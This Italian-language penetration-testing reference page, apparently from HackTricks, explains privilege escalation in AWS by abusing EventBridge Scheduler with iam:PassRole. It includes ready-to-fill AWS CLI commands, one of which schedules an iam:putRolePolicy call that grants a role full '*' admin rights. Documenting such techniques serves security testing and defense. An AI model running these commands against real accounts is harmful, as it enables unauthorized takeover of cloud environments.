# AWS - EventBridge Scheduler Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EventBridge Scheduler

Maggiori informazioni su EventBridge Scheduler in:

{{#ref}}
../../aws-services/eventbridgescheduler-enum.md
{{#endref}}

### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)

Un attacker con quei permessi sarà in grado di **`create`|`update` uno scheduler e abusare dei permessi del scheduler role** ad esso associato per eseguire qualsiasi azione

Per esempio, potrebbero configurare lo schedule per **invoke a Lambda function** che è un'azione templata:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
```
In aggiunta alle templated service actions, puoi usare **universal targets** in EventBridge Scheduler per invocare un'ampia gamma di operazioni API per molti servizi AWS. Universal targets offrono la flessibilità di invocare quasi qualsiasi API. Un esempio può essere usare universal targets per aggiungere la "**AdminAccessPolicy**", utilizzando un ruolo che ha la policy "**putRolePolicy**":
```bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'
```
## Riferimenti

- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)

{{#include ../../../../banners/hacktricks-training.md}}
